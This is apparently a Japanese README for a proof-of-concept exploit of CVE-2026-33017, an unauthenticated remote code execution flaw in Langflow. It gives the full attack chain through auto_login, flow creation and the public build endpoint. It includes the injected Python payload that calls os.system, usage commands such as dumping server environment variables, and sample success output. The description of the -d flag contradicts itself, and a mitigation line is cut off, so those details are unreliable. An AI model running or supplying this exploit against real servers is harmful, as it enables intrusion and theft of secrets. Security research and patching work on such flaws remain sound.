
CVE-2026-33017の概念実証。脆弱なLangflowバージョンにおいて、悪意あるCustomComponentコードインジェクションを通じた未認証のリモートコード実行を実証する。
CVE ID: CVE-2026-33017
影響を受けるソフトウェア: Langflow
脆弱なバージョン: <= 1.8.2
修正バージョン: >= 1.9.0
深刻度: 重大
作者: arensballiu
日付: 2026
Langflow は公開フロービルドエンドポイント (/api/v1/build_public_tmp/{flowID}/flow) を公開しており、これは
任意の CustomComponent コードブロックを受け入れて、認証なしでサーバー側で実行します。CustomComponent ノードの
code フィールドに悪意のある Python ペイロードを注入することで、未認証の攻撃者が Langflow サーバープロセスの
権限で任意のオペレーティングシステムコマンドを実行できます。
攻撃チェーンはまず /api/v1/auto_login エンドポイントを悪用します。これは Langflow がデフォルトの自動ログイン
設定で動作している場合、認証情報を必要とせずにベアラートークンを発行します。次にそのトークンを使用して一時的な
公開フローを作成し、ビルドエンドポイントを通じてサーバー側のコード実行をトリガーします。
langflow がインストールされ実行されている docker インスタンスを作成する Docker ファイルが含まれています。
| エンドポイント | メソッド | 認証要否 | 目的 |
|---|---|---|---|
/api/v1/auto_login | GET | 不要 | ベアラートークンの取得 (自動ログインが有効である必要あり) |
/api/v1/flows/ | POST | 必要 (Bearer) | 新しいフローの作成 |
/api/v1/build_public_tmp/{flowID}/flow | POST | 不要 (公開) | ビルドのトリガー - 脆弱な実行ポイント |
/api/v1/flows/{flowID} | DELETE | 必要 (Bearer) | 作成したフローのクリーンアップ |
ファイル: CVE-2026-33017_POC.py
requests ライブラリpip install requests
python3 CVE-2026-33017_POC.py -u <target_url> -c <command> [-d]
| フラグ | ロング形式 | 必須 | 説明 |
|---|---|---|---|
-u | --url | はい | Langflow インスタンスのベース URL |
-c | --command | はい | サーバー上で実行する OS コマンド |
-d | --delete | いいえ | エクスプロイト後に作成したフローを削除する |
コード実行の確認:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "id"
サーバー環境変数を取得する:
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "env"
エクスプロイト後もフローを維持する(クリーンアップをスキップ):
python3 CVE-2026-33017_POC.py -u http://langflow.example.com -c "whoami" -d
[+] Got token
[+] Created flow with id: <id>
[+] Exploit sent successfully!
[+] Flow deleted successfully!
このエクスプロイトは、以下の Python スニペットを CustomComponent ノードの code フィールドに注入します:
from langflow.custom import Component
from langflow.io import Output
_r = __import__('os').system(<command>)
class ExploitComponent(Component):
display_name = "ExploitComponent"
outputs = [Output(display_name="Result", name="output", method="run")]
def run(self):
return "ok"
__import__('os').system(...) - os モジュールを動的にインポートし、攻撃者が指定したシェルコマンドをサーバー上で実行します。CustomComponent です。PUBLIC として作成され、ビルドエンドポイントはそのパブリックエンドポイントで呼び出されます。つまり、実行をトリガーするためにセッション Cookie や認証トークンは不要です。Langflow の CustomComponent システムは、フロー定義の一部として任意の Python コードを送信できるようにしています。/api/v1/build_public_tmp/{flowID}/flow エンドポイントは、このコードをサーバー側でビルドし部分的に評価します。これにはモジュールレベルの文が含まれ、サンドボックス化や __import__ などの Python 組み込みへのアクセス制限は行われません。
1. GET /api/v1/auto_login → Obtain Bearer token (no credentials needed)
2. POST /api/v1/flows/ → Create a PUBLIC flow (Bearer token)
3. POST /api/v1/build_public_tmp/ → Inject & execute malicious CustomComponent (no auth)
4. DELETE /api/v1/flows/{id} → Clean up (optional)
4つのステップはすべて、デフォルトのLangflowデプロイメントに対して匿名の攻撃者が実行できます。
LANGFLOW_AUTO_LOGIN=false)。この概念実証は、教育および許可されたセキュリティ研究の目的のみに提供されています。 明示的な書面による許可なくシステムに対してこのスクリプトを使用することは、違法かつ非倫理的です。 作者および貢献者は、悪用に関していかなる責任も負いません。